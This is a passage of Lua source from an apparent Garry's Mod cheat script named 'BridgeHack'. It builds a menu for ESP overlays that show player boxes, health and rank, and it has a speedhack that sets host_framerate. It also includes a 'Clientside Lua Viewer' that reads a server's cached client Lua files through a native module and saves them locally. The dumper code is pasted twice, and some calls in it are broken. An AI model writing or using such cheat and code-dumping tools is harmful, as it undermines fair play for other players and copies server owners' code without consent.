1781DermaPanel:SetDraggable( true )
1782DermaPanel:ShowCloseButton( false )
1783 function DermaPanel:Paint( w, h )
1784draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
1785draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
1786draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1787 end
1788
1789 local Button = vgui.Create("DButton", DermaPanel)
1790Button:SetPos( 250, 2 )
1791Button:SetSize( 45, 19 )
1792Button:SetText( "" )
1793Button:SetTextColor( Color( 255, 255, 255) )
1794 function Button:Paint( w, h )
1795draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1796draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
1797 end
1798Button.DoClick = function()
1799DermaPanel:Close()
1800 end
1801
1802DermaPanel:MakePopup()
1803
1804 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
1805ESPMixer:SetPos( 10,170)
1806ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
1807ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
1808ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
1809ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
1810ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
1811daespvector = ESPMixer:GetColor()
1812
1813 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
1814ESPMixButton:SetPos( 5, 265 )
1815ESPMixButton:SetText( "Set ESP Color" )
1816ESPMixButton:SetSize( 120, 15 )
1817ESPMixButton.DoClick = function()
1818 print(daespvector)
1819ply:ConCommand("bh_esp_infocolor_r "..daespr)
1820ply:ConCommand("bh_esp_infocolor_g "..daespg)
1821ply:ConCommand("bh_esp_infocolor_b "..daespb)
1822 end
1823
1824 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1825EspBoxes:SetPos( 10, 25 )// Set the position
1826EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
1827EspBoxes:SetText("ESP Boxes")
1828EspBoxes:SetConVar( "bh_esp_box" )
1829EspBoxes:SizeToContents()
1830
1831 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1832ShowHP:SetPos( 10, 45 )// Set the position
1833ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
1834ShowHP:SetText("Show HP On ESP")
1835ShowHP:SetConVar( "bh_esp_hp" )
1836ShowHP:SizeToContents()
1837
1838 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1839ShowRank:SetPos( 10, 65 )// Set the position
1840ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
1841ShowRank:SetText("Show Rank On ESP")
1842ShowRank:SetConVar( "bh_esp_rank" )
1843ShowRank:SizeToContents()
1844
1845 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1846Rdistance:SetPos( 10, 85 )// Set the position
1847Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
1848Rdistance:SetText("Use a Maximum render distance")
1849Rdistance:SetConVar( "bh_renderdistance_enable" )
1850Rdistance:SizeToContents()
1851
1852 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1853Rdistance:SetPos( 10, 105 )// Set the position
1854Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
1855Rdistance:SetText("Top Scrolling Message")
1856Rdistance:SetConVar( "bh_notify" )
1857Rdistance:SizeToContents()
1858
1859 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1860PlaySound:SetPos( 10, 125 )// Set the position
1861PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
1862PlaySound:SetText("Menu sounds")
1863PlaySound:SetConVar( "bh_playsound" )
1864PlaySound:SizeToContents()
1865
1866 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
1867RenderDistance:SetPos( 25, 145) // Set the position
1868RenderDistance:SetSize( 280, 25 ) // Set the size
1869RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
1870RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
1871RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
1872RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
1873RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
1874 end ):SetImage( "icon16/wrench.png" )
1875
1876menu:Open()
1877 end)
1878
1879concommand.Add("-bh_menu", function( ply )
1880status("Menu Closed.")
1881 if GetConVarNumber("bh_menu_effects") == 1 then
1882hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
1883 end
1884 local menu = DermaMenu()
1885 end)
1886
1887 function ESP_on( )
1888ply:ConCommand("bh_esp 1")
1889 end
1890
1891 function ESP_off( )
1892ply:ConCommand("bh_esp 0")
1893 end
1894
1895 function speedhack_on( )
1896ply:ConCommand("host_framerate 8;host_framerate 8")
1897status("Enabled SpeedHack")
1898 end
1899
1900 function speedhack_off( )
1901ply:ConCommand("host_framerate 0;host_framerate 0")
1902status("Disabled SpeedHack")
1903 end
1904
1905 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
1906
1907/*
1908[[----------------------------------------------------------------]]
1909[[----------------------------------------------------------------]]
1910 ____ ___ __ __
1911/\ _`\ /\_ \ __ /\ \__ __ /\ \
1912\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
1913 \ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
1914 \ \ \ \ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\ __/
1915 \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
1916 \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
1917/\ \ __
1918\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
1919\ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
1920\ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
1921\ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
1922 \/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
1923
1924[[----------------------------------------------------------------]]
1925[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
1926
1927local VIEWER = {}
1928
1929function VIEWER:Init()
1930self:SetTitle("Clientside Lua Viewer")
1931self:SetSize(1500, 600)
1932self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
1933surface.SetDrawColor(Color(108,153,192))
1934surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
1935surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
1936 end
1937 end
1938derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
1939
1940/*
1941[[----------------------------------------------------------------]]
1942[[----------------------------------------------------------------]]
1943 ____
1944/\ _`\
1945\ \ \L\_\ __ ___ ___ __ __
1946 \ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
1947\ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
1948 \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
1949 \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
1950 /\___/
1951 \/__/
1952____
1953/\ _`\
1954\ \ \L\ \___ _____ __ __ _____
1955\ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
1956\ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
1957 \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
1958 \/_/\/___/ \ \ \/ \/___/ \ \ \/
1959 \ \_\ \ \_\
1960 \/_/ \/_/
1961[[----------------------------------------------------------------]]
1962[[----------------------------------------------------------------]]
1963*/
1964
1965function DrawFancyPopup(message)
1966fancyPopup = vgui.Create("DFrame")
1967fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
1968end
1969
1970concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("bh_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)